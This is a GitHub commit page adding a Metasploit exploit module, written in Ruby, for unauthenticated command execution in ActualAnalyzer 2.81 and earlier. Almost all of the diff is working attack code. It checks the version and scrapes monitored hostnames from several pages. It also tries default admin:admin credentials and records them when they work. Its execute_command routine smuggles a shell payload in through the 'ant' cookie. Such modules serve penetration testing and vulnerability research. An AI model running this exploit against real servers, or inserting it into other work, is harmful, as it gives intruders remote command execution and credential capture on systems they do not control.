Skip to content

Commit effb5b9

Browse files
committed
Land rapid7#4328, @bcoles' exploit for ActualAnalyzer < 2.81 'ant' code execution
2 parents 4c714b3 + 025c077 commit effb5b9

File tree

1 file changed

+264
-0
lines changed

1 file changed

+264
-0
lines changed
Lines changed: 264 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,264 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(
15+
info,
16+
'Name' => "ActualAnalyzer 'ant' Cookie Command Execution",
17+
'Description' => %q{
18+
This module exploits a command execution vulnerability in
19+
ActualAnalyzer version 2.81 and prior.
20+
21+
The 'aa.php' file allows unauthenticated users to
22+
execute arbitrary commands in the 'ant' cookie.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Benjamin Harris', # Discovery and exploit
28+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
29+
],
30+
'References' =>
31+
[
32+
['EDB', '34450'],
33+
['OSVDB', '110601']
34+
],
35+
'Payload' =>
36+
{
37+
'Space' => 4096, # HTTP cookie
38+
'DisableNops' => true,
39+
'BadChars' => "\x00"
40+
},
41+
'Arch' => ARCH_CMD,
42+
'Platform' => 'unix',
43+
'Targets' =>
44+
[
45+
# Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu
46+
['ActualAnalyzer <= 2.81', { 'auto' => true }]
47+
],
48+
'Privileged' => false,
49+
'DisclosureDate' => 'Aug 28 2014',
50+
'DefaultTarget' => 0))
51+
52+
register_options(
53+
[
54+
OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),
55+
OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']),
56+
OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']),
57+
OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])
58+
], self.class)
59+
end
60+
61+
#
62+
# Checks if target is running ActualAnalyzer <= 2.81
63+
#
64+
def check
65+
# check for aa.php
66+
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
67+
if !res
68+
vprint_error("#{peer} - Connection failed")
69+
return Exploit::CheckCode::Unknown
70+
elsif res.code == 404
71+
vprint_error("#{peer} - Could not find aa.php")
72+
return Exploit::CheckCode::Safe
73+
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
74+
vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.")
75+
return Exploit::CheckCode::Detected
76+
end
77+
# check version
78+
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
79+
if !res
80+
vprint_error("#{peer} - Connection failed")
81+
return Exploit::CheckCode::Unknown
82+
elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body
83+
vprint_status("#{peer} - Found version: #{version}")
84+
if Gem::Version.new(version) <= Gem::Version.new('2.81')
85+
report_vuln(
86+
host: rhost,
87+
name: self.name,
88+
info: "Module #{fullname} detected ActualAnalyzer #{version}",
89+
refs: references,
90+
)
91+
return Exploit::CheckCode::Vulnerable
92+
end
93+
return Exploit::CheckCode::Detected
94+
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
95+
return Exploit::CheckCode::Detected
96+
end
97+
Exploit::CheckCode::Safe
98+
end
99+
100+
#
101+
# Try to retrieve a valid analytics host from view.php unauthenticated
102+
#
103+
def get_analytics_host_view
104+
analytics_host = nil
105+
res = send_request_cgi(
106+
'method' => 'POST',
107+
'uri' => normalize_uri(target_uri.path, 'view.php'),
108+
'vars_post' => {
109+
'id_h' => '',
110+
'listp' => '',
111+
'act_h' => 'vis_int',
112+
'oldact' => 'vis_grpg',
113+
'tint_h' => '',
114+
'extact_h' => '',
115+
'home_pos' => '',
116+
'act' => 'vis_grpg',
117+
'tint' => 'total',
118+
'grpg' => '201',
119+
'cp_vst' => 'on',
120+
'cp_hst' => 'on',
121+
'cp_htst' => 'on',
122+
'cp_reps' => 'y',
123+
'tab_sort' => '1_1'
124+
}
125+
)
126+
if !res
127+
vprint_error("#{peer} - Connection failed")
128+
elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body
129+
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
130+
return analytics_host
131+
else
132+
vprint_status("#{peer} - Could not find any hosts on view.php")
133+
end
134+
nil
135+
end
136+
137+
#
138+
# Try to retrieve a valid analytics host from code.php unauthenticated
139+
#
140+
def get_analytics_host_code
141+
analytics_host = nil
142+
res = send_request_cgi(
143+
'uri' => normalize_uri(target_uri.path, 'code.php'),
144+
'vars_get' => {
145+
'pid' => '1'
146+
}
147+
)
148+
if !res
149+
vprint_error("#{peer} - Connection failed")
150+
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
151+
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
152+
return analytics_host
153+
else
154+
vprint_status("#{peer} - Could not find any hosts on code.php")
155+
end
156+
nil
157+
end
158+
159+
#
160+
# Try to retrieve a valid analytics host from admin.php with creds
161+
#
162+
def get_analytics_host_admin
163+
analytics_host = nil
164+
user = datastore['USERNAME']
165+
pass = datastore['PASSWORD']
166+
res = send_request_cgi(
167+
'method' => 'POST',
168+
'uri' => normalize_uri(target_uri.path, 'admin.php'),
169+
'vars_post' => {
170+
'uname' => user,
171+
'passw' => pass,
172+
'id_h' => '',
173+
'listp' => '',
174+
'act_h' => '',
175+
'oldact' => 'pages',
176+
'tint_h' => '',
177+
'extact_h' => '',
178+
'param_h' => '',
179+
'param2_h' => '',
180+
'home_pos' => '',
181+
'act' => 'dynhtml',
182+
'set.x' => '11',
183+
'set.y' => '11'
184+
}
185+
)
186+
if !res
187+
vprint_error("#{peer} - Connection failed")
188+
elsif res.code == 200 && res.body =~ />Login</
189+
vprint_status("#{peer} - Login failed.")
190+
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
191+
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
192+
print_good("#{peer} - Login successful! (#{user}:#{pass})")
193+
service_data = {
194+
address: Rex::Socket.getaddress(rhost, true),
195+
port: rport,
196+
service_name: (ssl ? 'https' : 'http'),
197+
protocol: 'tcp',
198+
workspace_id: myworkspace_id
199+
}
200+
credential_data = {
201+
origin_type: :service,
202+
module_fullname: fullname,
203+
private_type: :password,
204+
private_data: pass,
205+
username: user
206+
}
207+
credential_data.merge!(service_data)
208+
credential_core = create_credential(credential_data)
209+
login_data = {
210+
core: credential_core,
211+
last_attempted_at: DateTime.now,
212+
status: Metasploit::Model::Login::Status::SUCCESSFUL
213+
}
214+
login_data.merge!(service_data)
215+
create_credential_login(login_data)
216+
return analytics_host
217+
else
218+
vprint_status("#{peer} - Could not find any hosts on admin.php")
219+
end
220+
nil
221+
end
222+
223+
def execute_command(cmd, opts = { analytics_host: vhost })
224+
vuln_cookies = %w(anw anm)
225+
res = send_request_cgi(
226+
'uri' => normalize_uri(target_uri.path, 'aa.php'),
227+
'vars_get' => { 'anp' => opts[:analytics_host] },
228+
'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
229+
)
230+
if !res
231+
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")
232+
elsif res.code == 302 && res.headers['Content-Type'] =~ /image/
233+
print_good("#{peer} - Payload sent successfully")
234+
return true
235+
elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/
236+
vprint_status("#{peer} - Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.")
237+
elsif res.code == 200 && res.body =~ /Admin area<\/title>/
238+
fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")
239+
else
240+
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
241+
end
242+
nil
243+
end
244+
245+
def exploit
246+
return unless check == Exploit::CheckCode::Vulnerable
247+
analytics_hosts = []
248+
if datastore['ANALYZER_HOST'].blank?
249+
analytics_hosts << get_analytics_host_code
250+
analytics_hosts << get_analytics_host_view
251+
analytics_hosts << get_analytics_host_admin
252+
analytics_hosts << vhost
253+
analytics_hosts << '127.0.0.1'
254+
analytics_hosts << 'localhost'
255+
else
256+
analytics_hosts << datastore['ANALYZER_HOST']
257+
end
258+
analytics_hosts.uniq.each do |host|
259+
next if host.nil?
260+
vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
261+
break if execute_command(payload.encoded, analytics_host: host)
262+
end
263+
end
264+
end

0 commit comments

Comments
 (0)